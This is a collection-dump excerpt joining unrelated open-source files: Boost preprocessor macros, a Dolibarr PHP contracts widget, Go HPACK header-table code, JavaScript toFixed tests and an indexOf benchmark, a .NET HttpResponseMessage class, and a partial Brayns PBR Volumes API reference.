BOOST_VMD_DETAIL_DATA_EQUAL_GET_SIZE(datas,vtype), \ vtype \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_D(d,dataf,datas,vtype) \ BOOST_VMD_DETAIL_DATA_EQUAL_7_SZ_D \ ( \ d, \ dataf, \ datas, \ BOOST_VMD_DETAIL_DATA_EQUAL_GET_SIZE_D(d,dataf,vtype), \ BOOST_VMD_DETAIL_DATA_EQUAL_GET_SIZE_D(d,datas,vtype), \ vtype \ ) \ /**/ #endif /* BOOST_VMD_DETAIL_DATA_EQUAL_7_HPP */
{ "pile_set_name": "Github" }
<?php /* Copyright (C) 2003 Rodolphe Quiedeville <[email protected]> * Copyright (C) 2005-2017 Laurent Destailleur <[email protected]> * Copyright (C) 2005-2011 Regis Houssin <[email protected]> * Copyright (C) 2017 Nicolas Zabouri <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/core/boxes/box_services_contracts.php * \ingroup produits,services * \brief Widget of sells products */ include_once DOL_DOCUMENT_ROOT.'/core/boxes/modules_boxes.php'; /** * Class to manage the box to show last contracted products/services lines */ class box_services_contracts extends ModeleBoxes { public $boxcode = "lastproductsincontract"; public $boximg = "object_product"; public $boxlabel = "BoxLastProductsInContract"; public $depends = array("service", "contrat"); /** * @var DoliDB Database handler. */ public $db; public $param; public $info_box_head = array(); public $info_box_contents = array(); /** * Constructor * * @param DoliDB $db Database handler * @param string $param More parameters */ public function __construct($db, $param) { global $user; $this->db = $db; $this->hidden = !($user->rights->service->lire && $user->rights->contrat->lire); } /** * Load data into info_box_contents array to show array later. * * @param int $max Maximum number of records to load * @return void */ public function loadBox($max = 5) { global $user, $langs, $conf; $this->max = $max; include_once DOL_DOCUMENT_ROOT.'/contrat/class/contrat.class.php'; $form = new Form($this->db); $this->info_box_head = array('text' => $langs->trans("BoxLastProductsInContract", $max)); if ($user->rights->service->lire && $user->rights->contrat->lire) { $contractstatic = new Contrat($this->db); $contractlinestatic = new ContratLigne($this->db); $thirdpartytmp = new Societe($this->db); $productstatic = new Product($this->db); $sql = "SELECT s.nom as name, s.rowid as socid, s.email, s.client, s.fournisseur, s.code_client, s.code_fournisseur, s.code_compta, s.code_compta_fournisseur,"; $sql .= " c.rowid, c.ref, c.statut as contract_status, c.ref_customer, c.ref_supplier,"; $sql .= " cd.rowid as cdid, cd.label, cd.description, cd.tms as datem, cd.statut as contractline_status, cd.product_type as type, cd.date_fin_validite as date_line,"; $sql .= " p.rowid as product_id, p.ref as product_ref, p.label as plabel, p.fk_product_type as ptype, p.entity, p.tobuy, p.tosell"; $sql .= " FROM (".MAIN_DB_PREFIX."societe as s"; $sql .= " INNER JOIN ".MAIN_DB_PREFIX."contrat as c ON s.rowid = c.fk_soc"; $sql .= " INNER JOIN ".MAIN_DB_PREFIX."contratdet as cd ON c.rowid = cd.fk_contrat"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."product as p ON cd.fk_product = p.rowid"; if (!$user->rights->societe->client->voir && !$user->socid) $sql .= " INNER JOIN ".MAIN_DB_PREFIX."societe_commerciaux as sc ON s.rowid = sc.fk_soc AND sc.fk_user = ".$user->id; $sql .= ")"; $sql .= " WHERE c.entity = ".$conf->entity; if ($user->socid) $sql .= " AND s.rowid = ".$user->socid; $sql .= $this->db->order("c.tms", "DESC"); $sql .= $this->db->plimit($max, 0); $result = $this->db->query($sql); if ($result) { $num = $this->db->num_rows($result); $now = dol_now(); $i = 0; while ($i < $num) { $late = ''; $objp = $this->db->fetch_object($result); $datem = $this->db->jdate($objp->datem); $contractlinestatic->id = $objp->cdid; $contractlinestatic->fk_contrat = $objp->rowid; $contractlinestatic->label = $objp->label; $contractlinestatic->description = $objp->description; $contractlinestatic->type = $objp->type; $contractlinestatic->product_id = $objp->product_id; $contractlinestatic->product_ref = $objp->product_ref; $contractlinestatic->statut = $objp->contractline_status; $contractstatic->id = $objp->rowid; $contractstatic->ref = $objp->ref; $contractstatic->ref_customer = $objp->ref_customer; $contractstatic->ref_supplier = $objp->ref_supplier; $contractstatic->statut = $objp->contract_status; $thirdpartytmp->name = $objp->name; $thirdpartytmp->id = $objp->socid; $thirdpartytmp->email = $objp->email; $thirdpartytmp->client = $objp->client; $thirdpartytmp->fournisseur = $objp->fournisseur; $thirdpartytmp->code_client = $objp->code_client; $thirdpartytmp->code_fournisseur = $objp->code_fournisseur; $thirdpartytmp->code_compta = $objp->code_compta; $thirdpartytmp->code_compta_fournisseur = $objp->code_compta_fournisseur; $dateline = $this->db->jdate($objp->date_line); if ($contractstatic->statut == Contrat::STATUS_VALIDATED && $objp->contractline_status == ContratLigne::STATUS_OPEN && !empty($dateline) && ($dateline + $conf->contrat->services->expires->warning_delay) < $now) $late = img_warning($langs->trans("Late")); // Label if ($objp->product_id > 0) { $productstatic->id = $objp->product_id; $productstatic->type = $objp->ptype; $productstatic->ref = $objp->product_ref; $productstatic->entity = $objp->pentity; $productstatic->label = $objp->plabel; $productstatic->status = $objp->tosell; $productstatic->status_buy = $objp->tobuy; $text = $productstatic->getNomUrl(1, '', 20); if ($objp->plabel) { $text .= ' - '; //$productstatic->ref=$objp->label; //$text .= $productstatic->getNomUrl(0,'',16); $text .= $objp->plabel; } $description = $objp->description; // Add description in form if (!empty($conf->global->PRODUIT_DESC_IN_FORM)) { //$text .= (! empty($objp->description) && $objp->description!=$objp->plabel)?'<br>'.dol_htmlentitiesbr($objp->description):''; $description = ''; // Already added into main visible desc } $s = $form->textwithtooltip($text, $description, 3, '', '', '', 0, (!empty($objp->fk_parent_line) ?img_picto('', 'rightarrow') : '')); } else { $s = img_object($langs->trans("ShowProductOrService"), ($objp->product_type ? 'service' : 'product')).' '.dol_htmlentitiesbr($objp->description); } $this->info_box_contents[$i][] = array( 'td' => 'class="tdoverflowmax150 maxwidth150onsmartphone"', 'text' => $s, 'asis' => 1 ); $this->info_box_contents[$i][] = array( 'td' => 'class="nowraponall"', 'text' => $contractstatic->getNomUrl(1), 'asis' => 1 ); $this->info_box_contents[$i][] = array( 'td' => 'class="tdoverflowmax150 maxwidth150onsmartphone"', 'text' => $thirdpartytmp->getNomUrl(1), 'asis' => 1 ); $this->info_box_contents[$i][] = array( 'td' => '', 'text' => dol_print_date($datem, 'day'), 'text2'=> $late, ); $this->info_box_contents[$i][] = array( 'td' => 'class="right" width="18"', 'text' => $contractlinestatic->getLibStatut(3) ); $i++; } if ($num == 0) $this->info_box_contents[$i][0] = array( 'td' => 'class="center opacitymedium"', 'text'=>$langs->trans("NoContractedProducts") ); $this->db->free($result); } else { $this->info_box_contents[0][0] = array( 'td' => '', 'maxlength' => 500, 'text' => ($this->db->error().' sql='.$sql), ); } } else { $this->info_box_contents[0][0] = array( 'td' => 'class="nohover opacitymedium left"', 'text' => $langs->trans("ReadPermissionNotAllowed") ); } } /** * Method to show box * * @param array $head Array with properties of box title * @param array $contents Array with properties of box lines * @param int $nooutput No print, only return string * @return string */ public function showBox($head = null, $contents = null, $nooutput = 0) { return parent::showBox($this->info_box_head, $this->info_box_contents, $nooutput); } }
{ "pile_set_name": "Github" }
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package hpack import ( "fmt" ) // headerFieldTable implements a list of HeaderFields. // This is used to implement the static and dynamic tables. type headerFieldTable struct { // For static tables, entries are never evicted. // // For dynamic tables, entries are evicted from ents[0] and added to the end. // Each entry has a unique id that starts at one and increments for each // entry that is added. This unique id is stable across evictions, meaning // it can be used as a pointer to a specific entry. As in hpack, unique ids // are 1-based. The unique id for ents[k] is k + evictCount + 1. // // Zero is not a valid unique id. // // evictCount should not overflow in any remotely practical situation. In // practice, we will have one dynamic table per HTTP/2 connection. If we // assume a very powerful server that handles 1M QPS per connection and each // request adds (then evicts) 100 entries from the table, it would still take // 2M years for evictCount to overflow. ents []HeaderField evictCount uint64 // byName maps a HeaderField name to the unique id of the newest entry with // the same name. See above for a definition of "unique id". byName map[string]uint64 // byNameValue maps a HeaderField name/value pair to the unique id of the newest // entry with the same name and value. See above for a definition of "unique id". byNameValue map[pairNameValue]uint64 } type pairNameValue struct { name, value string } func (t *headerFieldTable) init() { t.byName = make(map[string]uint64) t.byNameValue = make(map[pairNameValue]uint64) } // len reports the number of entries in the table. func (t *headerFieldTable) len() int { return len(t.ents) } // addEntry adds a new entry. func (t *headerFieldTable) addEntry(f HeaderField) { id := uint64(t.len()) + t.evictCount + 1 t.byName[f.Name] = id t.byNameValue[pairNameValue{f.Name, f.Value}] = id t.ents = append(t.ents, f) } // evictOldest evicts the n oldest entries in the table. func (t *headerFieldTable) evictOldest(n int) { if n > t.len() { panic(fmt.Sprintf("evictOldest(%v) on table with %v entries", n, t.len())) } for k := 0; k < n; k++ { f := t.ents[k] id := t.evictCount + uint64(k) + 1 if t.byName[f.Name] == id { delete(t.byName, f.Name) } if p := (pairNameValue{f.Name, f.Value}); t.byNameValue[p] == id { delete(t.byNameValue, p) } } copy(t.ents, t.ents[n:]) for k := t.len() - n; k < t.len(); k++ { t.ents[k] = HeaderField{} // so strings can be garbage collected } t.ents = t.ents[:t.len()-n] if t.evictCount+uint64(n) < t.evictCount { panic("evictCount overflow") } t.evictCount += uint64(n) } // search finds f in the table. If there is no match, i is 0. // If both name and value match, i is the matched index and nameValueMatch // becomes true. If only name matches, i points to that index and // nameValueMatch becomes false. // // The returned index is a 1-based HPACK index. For dynamic tables, HPACK says // that index 1 should be the newest entry, but t.ents[0] is the oldest entry, // meaning t.ents is reversed for dynamic tables. Hence, when t is a dynamic // table, the return value i actually refers to the entry t.ents[t.len()-i]. // // All tables are assumed to be a dynamic tables except for the global // staticTable pointer. // // See Section 2.3.3. func (t *headerFieldTable) search(f HeaderField) (i uint64, nameValueMatch bool) { if !f.Sensitive { if id := t.byNameValue[pairNameValue{f.Name, f.Value}]; id != 0 { return t.idToIndex(id), true } } if id := t.byName[f.Name]; id != 0 { return t.idToIndex(id), false } return 0, false } // idToIndex converts a unique id to an HPACK index. // See Section 2.3.3. func (t *headerFieldTable) idToIndex(id uint64) uint64 { if id <= t.evictCount { panic(fmt.Sprintf("id (%v) <= evictCount (%v)", id, t.evictCount)) } k := id - t.evictCount - 1 // convert id to an index t.ents[k] if t != staticTable { return uint64(t.len()) - k // dynamic table } return k + 1 } func pair(name, value string) HeaderField { return HeaderField{Name: name, Value: value} } // http://tools.ietf.org/html/draft-ietf-httpbis-header-compression-07#appendix-B var staticTable = newStaticTable() func newStaticTable() *headerFieldTable { t := &headerFieldTable{} t.init() t.addEntry(pair(":authority", "")) t.addEntry(pair(":method", "GET")) t.addEntry(pair(":method", "POST")) t.addEntry(pair(":path", "/")) t.addEntry(pair(":path", "/index.html")) t.addEntry(pair(":scheme", "http")) t.addEntry(pair(":scheme", "https")) t.addEntry(pair(":status", "200")) t.addEntry(pair(":status", "204")) t.addEntry(pair(":status", "206")) t.addEntry(pair(":status", "304")) t.addEntry(pair(":status", "400")) t.addEntry(pair(":status", "404")) t.addEntry(pair(":status", "500")) t.addEntry(pair("accept-charset", "")) t.addEntry(pair("accept-encoding", "gzip, deflate")) t.addEntry(pair("accept-language", "")) t.addEntry(pair("accept-ranges", "")) t.addEntry(pair("accept", "")) t.addEntry(pair("access-control-allow-origin", "")) t.addEntry(pair("age", "")) t.addEntry(pair("allow", "")) t.addEntry(pair("authorization", "")) t.addEntry(pair("cache-control", "")) t.addEntry(pair("content-disposition", "")) t.addEntry(pair("content-encoding", "")) t.addEntry(pair("content-language", "")) t.addEntry(pair("content-length", "")) t.addEntry(pair("content-location", "")) t.addEntry(pair("content-range", "")) t.addEntry(pair("content-type", "")) t.addEntry(pair("cookie", "")) t.addEntry(pair("date", "")) t.addEntry(pair("etag", "")) t.addEntry(pair("expect", "")) t.addEntry(pair("expires", "")) t.addEntry(pair("from", "")) t.addEntry(pair("host", "")) t.addEntry(pair("if-match", "")) t.addEntry(pair("if-modified-since", "")) t.addEntry(pair("if-none-match", "")) t.addEntry(pair("if-range", "")) t.addEntry(pair("if-unmodified-since", "")) t.addEntry(pair("last-modified", "")) t.addEntry(pair("link", "")) t.addEntry(pair("location", "")) t.addEntry(pair("max-forwards", "")) t.addEntry(pair("proxy-authenticate", "")) t.addEntry(pair("proxy-authorization", "")) t.addEntry(pair("range", "")) t.addEntry(pair("referer", "")) t.addEntry(pair("refresh", "")) t.addEntry(pair("retry-after", "")) t.addEntry(pair("server", "")) t.addEntry(pair("set-cookie", "")) t.addEntry(pair("strict-transport-security", "")) t.addEntry(pair("transfer-encoding", "")) t.addEntry(pair("user-agent", "")) t.addEntry(pair("vary", "")) t.addEntry(pair("via", "")) t.addEntry(pair("www-authenticate", "")) return t } var huffmanCodes = [256]uint32{ 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea, 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef, 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8, 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9, 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc, 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc, 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76, 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6, 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc, 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2, 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd, 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf, 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef, 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb, 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf, 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2, 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec, 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef, 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8, 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee, } var huffmanCodeLen = [256]uint8{ 13, 23, 28, 28, 28, 28, 28, 28, 28, 24, 30, 28, 28, 30, 28, 28, 28, 28, 28, 28, 28, 28, 30, 28, 28, 28, 28, 28, 28, 28, 28, 28, 6, 10, 10, 12, 13, 6, 8, 11, 10, 10, 8, 11, 8, 6, 6, 6, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 8, 15, 6, 12, 10, 13, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 7, 8, 13, 19, 13, 14, 6, 15, 5, 6, 5, 6, 5, 6, 6, 6, 5, 7, 7, 6, 6, 6, 5, 6, 7, 6, 5, 5, 6, 7, 7, 7, 7, 7, 15, 11, 14, 13, 28, 20, 22, 20, 20, 22, 22, 22, 23, 22, 23, 23, 23, 23, 23, 24, 23, 24, 24, 22, 23, 24, 23, 23, 23, 23, 21, 22, 23, 22, 23, 23, 24, 22, 21, 20, 22, 22, 23, 23, 21, 23, 22, 22, 24, 21, 22, 23, 23, 21, 21, 22, 21, 23, 22, 23, 23, 20, 22, 22, 22, 23, 22, 22, 23, 26, 26, 20, 19, 22, 23, 22, 25, 26, 26, 26, 27, 27, 26, 24, 25, 19, 21, 26, 27, 27, 26, 27, 24, 21, 21, 26, 26, 28, 27, 27, 27, 20, 24, 20, 21, 22, 21, 21, 23, 22, 22, 25, 25, 24, 24, 26, 23, 26, 27, 26, 26, 27, 27, 27, 27, 27, 28, 27, 27, 27, 27, 27, 26, }
{ "pile_set_name": "Github" }
// Copyright 2013 the V8 project authors. All rights reserved. // Copyright (C) 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY // DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. description( 'This test checks a few Number.toFixed cases, including ' + '<a href="https://bugs.webkit.org/show_bug.cgi?id=5307">5307: Number.toFixed does not round 0.5 up</a>' + ' and ' + '<a href="https://bugs.webkit.org/show_bug.cgi?id=5308">5308: Number.toFixed does not include leading zero</a>' + '.'); shouldBe("(0).toFixed(0)", "'0'"); shouldBe("(0.49).toFixed(0)", "'0'"); shouldBe("(0.5).toFixed(0)", "'1'"); shouldBe("(0.51).toFixed(0)", "'1'"); shouldBe("(-0.49).toFixed(0)", "'-0'"); shouldBe("(-0.5).toFixed(0)", "'-1'"); shouldBe("(-0.51).toFixed(0)", "'-1'"); shouldBe("(0).toFixed(1)", "'0.0'"); shouldBe("(0.449).toFixed(1)", "'0.4'"); shouldBe("(0.45).toFixed(1)", "'0.5'"); shouldBe("(0.451).toFixed(1)", "'0.5'"); shouldBe("(0.5).toFixed(1)", "'0.5'"); shouldBe("(0.549).toFixed(1)", "'0.5'"); shouldBe("(0.55).toFixed(1)", "'0.6'"); shouldBe("(0.551).toFixed(1)", "'0.6'"); shouldBe("(-0.449).toFixed(1)", "'-0.4'"); shouldBe("(-0.45).toFixed(1)", "'-0.5'"); shouldBe("(-0.451).toFixed(1)", "'-0.5'"); shouldBe("(-0.5).toFixed(1)", "'-0.5'"); shouldBe("(-0.549).toFixed(1)", "'-0.5'"); shouldBe("(-0.55).toFixed(1)", "'-0.6'"); shouldBe("(-0.551).toFixed(1)", "'-0.6'"); var posInf = 1/0; var negInf = -1/0; var nan = 0/0; // From Acid3, http://bugs.webkit.org/show_bug.cgi?id=16640 shouldBeEqualToString("(0.0).toFixed(4)", "0.0000"); shouldBeEqualToString("(-0.0).toFixed(4)", "0.0000"); shouldBeEqualToString("(0.0).toFixed()", "0"); shouldBeEqualToString("(-0.0).toFixed()", "0"); // From http://bugs.webkit.org/show_bug.cgi?id=5258 shouldBeEqualToString("(1234.567).toFixed()", "1235"); shouldBeEqualToString("(1234.567).toFixed(0)", "1235"); // 0 equivilents shouldBeEqualToString("(1234.567).toFixed(null)", "1235"); shouldBeEqualToString("(1234.567).toFixed(false)", "1235"); shouldBeEqualToString("(1234.567).toFixed('foo')", "1235"); shouldBeEqualToString("(1234.567).toFixed(nan)", "1235"); // nan is treated like 0 shouldBeEqualToString("(1234.567).toFixed(1)", "1234.6"); shouldBeEqualToString("(1234.567).toFixed(true)", "1234.6"); // just like 1 shouldBeEqualToString("(1234.567).toFixed('1')", "1234.6"); // just like 1 shouldBeEqualToString("(1234.567).toFixed(2)", "1234.57"); shouldBeEqualToString("(1234.567).toFixed(2.9)", "1234.57"); shouldBeEqualToString("(1234.567).toFixed(5)", "1234.56700"); shouldBeEqualToString("(1234.567).toFixed(20)", "1234.56700000000000727596"); // SpiderMonkey allows precision values -20 to 100, the spec only allows 0 to 20 shouldThrow("(1234.567).toFixed(21)"); shouldThrow("(1234.567).toFixed(100)"); shouldThrow("(1234.567).toFixed(101)"); shouldThrow("(1234.567).toFixed(-1)"); shouldThrow("(1234.567).toFixed(-4)"); shouldThrow("(1234.567).toFixed(-5)"); shouldThrow("(1234.567).toFixed(-20)"); shouldThrow("(1234.567).toFixed(-21)"); shouldThrow("(1234.567).toFixed(posInf)"); shouldThrow("(1234.567).toFixed(negInf)"); shouldBeEqualToString("posInf.toFixed()", "Infinity"); shouldBeEqualToString("negInf.toFixed()", "-Infinity"); shouldBeEqualToString("nan.toFixed()", "NaN");
{ "pile_set_name": "Github" }
/** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @format */ (function() { var numIter = 20000; var len = 100; var a = Array(len); for (var i = 0; i < len; i++) { a[i] = i; } // The purpose of this variable is so that the return value from indexOf // is used, thus the compiler wouldn't optimize out the indexOf call var sum = 0; for (var i = 0; i < numIter; i++) { for (var j = 0; j < len; j++) { sum += a.indexOf(j); } } print('done, sum =', sum); })();
{ "pile_set_name": "Github" }
using System.Net.Http.Headers; using System.Text; namespace System.Net.Http { public class HttpResponseMessage : IDisposable { private const HttpStatusCode defaultStatusCode = HttpStatusCode.OK; private HttpStatusCode statusCode; private HttpResponseHeaders headers; private string reasonPhrase; private HttpRequestMessage requestMessage; private Version version; private HttpContent content; private bool disposed; public Version Version { get { return version; } set { if (value == null) { throw new ArgumentNullException("value"); } CheckDisposed(); version = value; } } public HttpContent Content { get { return content; } set { CheckDisposed(); if (Logging.On) { if (value == null) { Logging.PrintInfo(Logging.Http, this, SR.net_http_log_content_null); } else { Logging.Associate(Logging.Http, this, value); } } content = value; } } public HttpStatusCode StatusCode { get { return statusCode; } set { if (((int)value < 0) || ((int)value > 999)) { throw new ArgumentOutOfRangeException("value"); } CheckDisposed(); statusCode = value; } } public string ReasonPhrase { get { if (reasonPhrase != null) { return reasonPhrase; } // Provide a default if one was not set return HttpStatusDescription.Get(StatusCode); } set { if ((value != null) && ContainsNewLineCharacter(value)) { throw new FormatException(SR.net_http_reasonphrase_format_error); } CheckDisposed(); reasonPhrase = value; // It's OK to have a 'null' reason phrase } } public HttpResponseHeaders Headers { get { if (headers == null) { headers = new HttpResponseHeaders(); } return headers; } } public HttpRequestMessage RequestMessage { get { return requestMessage; } set { CheckDisposed(); if (Logging.On && (value != null)) Logging.Associate(Logging.Http, this, value); requestMessage = value; } } public bool IsSuccessStatusCode { get { return ((int)statusCode >= 200) && ((int)statusCode <= 299); } } public HttpResponseMessage() : this(defaultStatusCode) { } public HttpResponseMessage(HttpStatusCode statusCode) { if (Logging.On) Logging.Enter(Logging.Http, this, ".ctor", "StatusCode: " + (int)statusCode + ", ReasonPhrase: '" + reasonPhrase + "'"); if (((int)statusCode < 0) || ((int)statusCode > 999)) { throw new ArgumentOutOfRangeException("statusCode"); } this.statusCode = statusCode; this.version = HttpUtilities.DefaultVersion; if (Logging.On) Logging.Exit(Logging.Http, this, ".ctor", null); } public HttpResponseMessage EnsureSuccessStatusCode() { if (!IsSuccessStatusCode) { // Disposing the content should help users: If users call EnsureSuccessStatusCode(), an exception is // thrown if the response status code is != 2xx. I.e. the behavior is similar to a failed request (e.g. // connection failure). Users don't expect to dispose the content in this case: If an exception is // thrown, the object is responsible fore cleaning up its state. if (content != null) { content.Dispose(); } throw new HttpRequestException(string.Format(System.Globalization.CultureInfo.InvariantCulture, SR.net_http_message_not_success_statuscode, (int)statusCode, ReasonPhrase)); } return this; } public override string ToString() { StringBuilder sb = new StringBuilder(); sb.Append("StatusCode: "); sb.Append((int)statusCode); sb.Append(", ReasonPhrase: '"); sb.Append(ReasonPhrase ?? "<null>"); sb.Append("', Version: "); sb.Append(version); sb.Append(", Content: "); sb.Append(content == null ? "<null>" : content.GetType().FullName); sb.Append(", Headers:\r\n"); sb.Append(HeaderUtilities.DumpHeaders(headers, content == null ? null : content.Headers)); return sb.ToString(); } private bool ContainsNewLineCharacter(string value) { foreach (char character in value) { if ((character == HttpRuleParser.CR) || (character == HttpRuleParser.LF)) { return true; } } return false; } #region IDisposable Members protected virtual void Dispose(bool disposing) { // The reason for this type to implement IDisposable is that it contains instances of types that implement // IDisposable (content). if (disposing && !disposed) { disposed = true; if (content != null) { content.Dispose(); } } } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } #endregion private void CheckDisposed() { if (disposed) { throw new ObjectDisposedException(this.GetType().FullName); } } } }
{ "pile_set_name": "Github" }
.. _pbrvolumespluginapi-label: PBR Volumes API =============== This is the API exposed by the PBR Volumes plugin. This plugin, together with the ``pbrt-v3`` engine, allows for visualization of volumes and participating media defined with physically based properties. For this API to be available, the Brayns backend service must be started with the following parameter: .. code-block:: console --plugin braynsPBRVolumes ---- add_grid_volume ~~~~~~~~~~~~~~~ Parameters: .. code-block:: python add_grid_volume(scattering, ny, grid_type, g, name, p1, nz, absorption, le, density, nx, p0, scale) Adds a grid based volume to the scene, in which each cell has its own density Parameters: * ``absorption``: ``array``, Absorption spectrum * ``density``: ``array``, Volume grid density values * ``g``: ``number``, Anisotropy parameter * ``grid_type``: ``string``, Type of grid (PBRT-V2 only, values "grid" or "vsd" * ``le``: ``array``, Radiance spectrum * ``name``: ``string``, Volume scene name * ``nx``: ``integer``, Grid X dimension * ``ny``: ``integer``, Grid Y dimension * ``nz``: ``integer``, Grid Z dimension * ``p0``: ``array``, Volume minimum bound * ``p1``: ``array``, Volume maximum bound * ``scale``: ``number``, Spectrums scale * ``scattering``: ``array``, Scattering spectrum Error: In the event of an error, the return value will be a ``dictionary``, contain 2 entries: * ``error``: ``integer``, an error code that identifies the problem. * ``messge``: ``str``, a description of the error. ---- add_heterogeneus_volume ~~~~~~~~~~~~~~~~~~~~~~~ Parameters: .. code-block:: python add_heterogeneus_volume(scattering, g, name, p1, absorption, le, max_density, scale, p0, min_density) Adds a non constant density volume to the scene Parameters: * ``absorption``: ``array``, Absorption spectrum * ``g``: ``number``, Anisotropy parameter * ``le``: ``array``, Radiance spectrum * ``max_density``: ``number``, Density maximum value * ``min_density``: ``number``, Density minimum value * ``name``: ``string``, Volume scene name * ``p0``: ``array``, Volume minimum bound * ``p1``: ``array``, Volume maximum bound * ``scale``: ``number``, Spectrums scale * ``scattering``: ``array``, Scattering spectrum Error: In the event of an error, the return value will be a ``dictionary``, contain 2 entries: * ``error``: ``integer``, an error code that identifies the problem. * ``messge``: ``str``, a description of the error. ---- add_homogeneus_volume ~~~~~~~~~~~~~~~~~~~~~ Parameters: .. code-block:: python add_homogeneus_volume(scattering, g, name, p1, absorption, le, density, scale, p0) Adds a constant density volume to the scene Parameters: * ``absorption``: ``array``, Absorption spectrum * ``density``: ``number``, Constant volume density * ``g``: ``number``, Anisotropy parameter * ``le``: ``array``, Radiance 